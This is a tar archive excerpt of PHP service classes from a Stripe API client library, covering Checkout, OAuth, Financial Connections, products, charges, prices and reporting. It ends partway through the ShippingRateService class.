0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Checkout; /** * Service factory class for API resources in the Checkout namespace. * * @property SessionService $sessions */ class CheckoutServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'sessions' => SessionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Forwarding/ForwardingServiceFactory.php����������������������������������0000644�����������������00000001075�14720677707�0021471 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Forwarding; /** * Service factory class for API resources in the Forwarding namespace. * * @property RequestService $requests */ class ForwardingServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'requests' => RequestService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Forwarding/RequestService.php��������������������������������������������0000644�����������������00000003330�14720677707�0017463 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Forwarding; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class RequestService extends \Stripe\Service\AbstractService { /** * Lists all ForwardingRequest objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Forwarding\Request> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/forwarding/requests', $params, $opts); } /** * Creates a ForwardingRequest object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Forwarding\Request */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/forwarding/requests', $params, $opts); } /** * Retrieves a ForwardingRequest object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Forwarding\Request */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/forwarding/requests/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/OAuthService.php���������������������������������������������������������0000644�����������������00000011412�14720677707�0014751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Service; class OAuthService extends \Stripe\Service\AbstractService { /** * Sends a request to Stripe's Connect API. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @return \Stripe\StripeObject the object returned by Stripe's Connect API */ protected function requestConnect($method, $path, $params, $opts) { $opts = $this->_parseOpts($opts); $opts->apiBase = $this->_getBase($opts); return $this->request($method, $path, $params, $opts); } /** * Generates a URL to Stripe's OAuth form. * * @param null|array $params * @param null|array $opts * * @return string the URL to Stripe's OAuth form */ public function authorizeUrl($params = null, $opts = null) { $params = $params ?: []; $opts = $this->_parseOpts($opts); $base = $this->_getBase($opts); $params['client_id'] = $this->_getClientId($params); if (!\array_key_exists('response_type', $params)) { $params['response_type'] = 'code'; } $query = \Stripe\Util\Util::encodeParameters($params); return $base . '/oauth/authorize?' . $query; } /** * Use an authoriztion code to connect an account to your platform and * fetch the user's credentials. * * @param null|array $params * @param null|array $opts * * @throws \Stripe\Exception\OAuth\OAuthErrorException if the request fails * * @return \Stripe\StripeObject object containing the response from the API */ public function token($params = null, $opts = null) { $params = $params ?: []; $params['client_secret'] = $this->_getClientSecret($params); return $this->requestConnect('post', '/oauth/token', $params, $opts); } /** * Disconnects an account from your platform. * * @param null|array $params * @param null|array $opts * * @throws \Stripe\Exception\OAuth\OAuthErrorException if the request fails * * @return \Stripe\StripeObject object containing the response from the API */ public function deauthorize($params = null, $opts = null) { $params = $params ?: []; $params['client_id'] = $this->_getClientId($params); return $this->requestConnect('post', '/oauth/deauthorize', $params, $opts); } private function _getClientId($params = null) { $clientId = ($params && \array_key_exists('client_id', $params)) ? $params['client_id'] : null; if (null === $clientId) { $clientId = $this->client->getClientId(); } if (null === $clientId) { $msg = 'No client_id provided. (HINT: set your client_id using ' . '`new \Stripe\StripeClient([clientId => <CLIENT-ID> ])`)". You can find your client_ids ' . 'in your Stripe dashboard at ' . 'https://dashboard.stripe.com/account/applications/settings, ' . 'after registering your account as a platform. See ' . 'https://stripe.com/docs/connect/standard-accounts for details, ' . 'or email support@stripe.com if you have any questions.'; throw new \Stripe\Exception\AuthenticationException($msg); } return $clientId; } private function _getClientSecret($params = null) { if (\array_key_exists('client_secret', $params)) { return $params['client_secret']; } return $this->client->getApiKey(); } /** * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @throws \Stripe\Exception\InvalidArgumentException * * @return \Stripe\Util\RequestOptions */ private function _parseOpts($opts) { if (\is_array($opts)) { if (\array_key_exists('connect_base', $opts)) { // Throw an exception for the convenience of anybody migrating to // \Stripe\Service\OAuthService from \Stripe\OAuth, where `connect_base` // was the name of the parameter that behaves as `api_base` does here. throw new \Stripe\Exception\InvalidArgumentException('Use `api_base`, not `connect_base`'); } } return \Stripe\Util\RequestOptions::parse($opts); } /** * @param \Stripe\Util\RequestOptions $opts * * @return string */ private function _getBase($opts) { return isset($opts->apiBase) ? $opts->apiBase : $this->client->getConnectBase(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/FinancialConnections/AccountService.php����������������������������������0000644�����������������00000010653�14720677707�0021422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\FinancialConnections; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AccountService extends \Stripe\Service\AbstractService { /** * Returns a list of Financial Connections <code>Account</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\Account> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/financial_connections/accounts', $params, $opts); } /** * Lists all owners for a given <code>Account</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\AccountOwner> */ public function allOwners($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/financial_connections/accounts/%s/owners', $id), $params, $opts); } /** * Disables your access to a Financial Connections <code>Account</code>. You will * no longer be able to access data associated with the account (e.g. balances, * transactions). * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public function disconnect($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/financial_connections/accounts/%s/disconnect', $id), $params, $opts); } /** * Refreshes the data associated with a Financial Connections <code>Account</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public function refresh($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/financial_connections/accounts/%s/refresh', $id), $params, $opts); } /** * Retrieves the details of an Financial Connections <code>Account</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/financial_connections/accounts/%s', $id), $params, $opts); } /** * Subscribes to periodic refreshes of data associated with a Financial Connections * <code>Account</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public function subscribe($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/financial_connections/accounts/%s/subscribe', $id), $params, $opts); } /** * Unsubscribes from periodic refreshes of data associated with a Financial * Connections <code>Account</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public function unsubscribe($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/financial_connections/accounts/%s/unsubscribe', $id), $params, $opts); } } �������������������������������������������������������������������������������������stripe-gateway/lib/Service/FinancialConnections/SessionService.php����������������������������������0000644�����������������00000002752�14720677707�0021452 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\FinancialConnections; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SessionService extends \Stripe\Service\AbstractService { /** * To launch the Financial Connections authorization flow, create a * <code>Session</code>. The session’s <code>client_secret</code> can be used to * launch the flow using Stripe.js. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Session */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/financial_connections/sessions', $params, $opts); } /** * Retrieves the details of a Financial Connections <code>Session</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Session */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/financial_connections/sessions/%s', $id), $params, $opts); } } ����������������������stripe-gateway/lib/Service/FinancialConnections/TransactionService.php������������������������������0000644�����������������00000002646�14720677707�0022316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\FinancialConnections; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionService extends \Stripe\Service\AbstractService { /** * Returns a list of Financial Connections <code>Transaction</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\Transaction> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/financial_connections/transactions', $params, $opts); } /** * Retrieves the details of a Financial Connections <code>Transaction</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Transaction */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/financial_connections/transactions/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������stripe-gateway/lib/Service/FinancialConnections/FinancialConnectionsServiceFactory.php��������������0000644�����������������00000001421�14720677707�0025436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\FinancialConnections; /** * Service factory class for API resources in the FinancialConnections namespace. * * @property AccountService $accounts * @property SessionService $sessions * @property TransactionService $transactions */ class FinancialConnectionsServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'accounts' => AccountService::class, 'sessions' => SessionService::class, 'transactions' => TransactionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ProductService.php�������������������������������������������������������0000644�����������������00000014466�14720677707�0015365 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ProductService extends \Stripe\Service\AbstractService { /** * Returns a list of your products. The products are returned sorted by creation * date, with the most recently created products appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Product> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/products', $params, $opts); } /** * Retrieve a list of features for a product. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ProductFeature> */ public function allFeatures($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/products/%s/features', $parentId), $params, $opts); } /** * Creates a new product object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/products', $params, $opts); } /** * Creates a product_feature, which represents a feature attachment to a product. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public function createFeature($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/products/%s/features', $parentId), $params, $opts); } /** * Delete a product. Deleting a product is only possible if it has no prices * associated with it. Additionally, deleting a product with <code>type=good</code> * is only possible if it has no SKUs associated with it. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/products/%s', $id), $params, $opts); } /** * Deletes the feature attachment to a product. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public function deleteFeature($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/products/%s/features/%s', $parentId, $id), $params, $opts); } /** * Retrieves the details of an existing product. Supply the unique product ID from * either a product creation request or the product list, and Stripe will return * the corresponding product information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/products/%s', $id), $params, $opts); } /** * Retrieves a product_feature, which represents a feature attachment to a product. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public function retrieveFeature($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/products/%s/features/%s', $parentId, $id), $params, $opts); } /** * Search for products you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Product> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/products/search', $params, $opts); } /** * Updates the specific product by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/products/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Reporting/ReportRunService.php�������������������������������������������0000644�����������������00000003623�14720677707�0017647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Reporting; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReportRunService extends \Stripe\Service\AbstractService { /** * Returns a list of Report Runs, with the most recent appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Reporting\ReportRun> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/reporting/report_runs', $params, $opts); } /** * Creates a new object and begin running the report. (Certain report types require * a <a href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>.). * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportRun */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/reporting/report_runs', $params, $opts); } /** * Retrieves the details of an existing Report Run. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportRun */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/reporting/report_runs/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Reporting/ReportTypeService.php������������������������������������������0000644�����������������00000002631�14720677707�0020022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Reporting; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReportTypeService extends \Stripe\Service\AbstractService { /** * Returns a full list of Report Types. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Reporting\ReportType> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/reporting/report_types', $params, $opts); } /** * Retrieves the details of a Report Type. (Certain report types require a <a * href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>.). * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportType */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/reporting/report_types/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Reporting/ReportingServiceFactory.php������������������������������������0000644�����������������00000001241�14720677707�0021202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Reporting; /** * Service factory class for API resources in the Reporting namespace. * * @property ReportRunService $reportRuns * @property ReportTypeService $reportTypes */ class ReportingServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'reportRuns' => ReportRunService::class, 'reportTypes' => ReportTypeService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ChargeService.php��������������������������������������������������������0000644�����������������00000011215�14720677707�0015123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ChargeService extends \Stripe\Service\AbstractService { /** * Returns a list of charges you’ve previously created. The charges are returned in * sorted order, with the most recent charges appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Charge> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/charges', $params, $opts); } /** * Capture the payment of an existing, uncaptured charge that was created with the * <code>capture</code> option set to false. * * Uncaptured payments expire a set number of days after they are created (<a * href="/docs/charges/placing-a-hold">7 by default</a>), after which they are * marked as refunded and capture attempts will fail. * * Don’t use this method to capture a PaymentIntent-initiated charge. Use <a * href="/docs/api/payment_intents/capture">Capture a PaymentIntent</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge */ public function capture($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/charges/%s/capture', $id), $params, $opts); } /** * This method is no longer recommended—use the <a * href="/docs/api/payment_intents">Payment Intents API</a> to initiate a new * payment instead. Confirmation of the PaymentIntent creates the * <code>Charge</code> object used to request payment. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/charges', $params, $opts); } /** * Retrieves the details of a charge that has previously been created. Supply the * unique charge ID that was returned from your previous request, and Stripe will * return the corresponding charge information. The same information is returned * when creating or refunding the charge. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/charges/%s', $id), $params, $opts); } /** * Search for charges you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Charge> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/charges/search', $params, $opts); } /** * Updates the specified charge by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/charges/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/BalanceService.php�������������������������������������������������������0000644�����������������00000001673�14720677707�0015266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class BalanceService extends \Stripe\Service\AbstractService { /** * Retrieves the current account balance, based on the authentication that was used * to make the request. For a sample request, see <a * href="/docs/connect/account-balances#accounting-for-negative-balances">Accounting * for negative balances</a>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Balance */ public function retrieve($params = null, $opts = null) { return $this->request('get', '/v1/balance', $params, $opts); } } ���������������������������������������������������������������������stripe-gateway/lib/Service/ConfirmationTokenService.php���������������������������������������������0000644�����������������00000001475�14720677707�0017372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ConfirmationTokenService extends \Stripe\Service\AbstractService { /** * Retrieves an existing ConfirmationToken object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ConfirmationToken */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/confirmation_tokens/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PriceService.php���������������������������������������������������������0000644�����������������00000006467�14720677707�0015011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PriceService extends \Stripe\Service\AbstractService { /** * Returns a list of your active prices, excluding <a * href="/docs/products-prices/pricing-models#inline-pricing">inline prices</a>. * For the list of inactive prices, set <code>active</code> to false. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Price> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/prices', $params, $opts); } /** * Creates a new price for an existing product. The price can be recurring or * one-time. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/prices', $params, $opts); } /** * Retrieves the price with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/prices/%s', $id), $params, $opts); } /** * Search for prices you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Price> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/prices/search', $params, $opts); } /** * Updates the specified price by setting the values of the parameters passed. Any * parameters not provided are left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/prices/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ShippingRateService.php��������������������������������������������������0000644�����������������00000004270�14720677707�0016332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ShippingRateService extends \Stripe\Service\AbstractService { /** * Returns a list of your shipping rates. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ShippingRate> */ public function all($params = null, $opts = null) { return 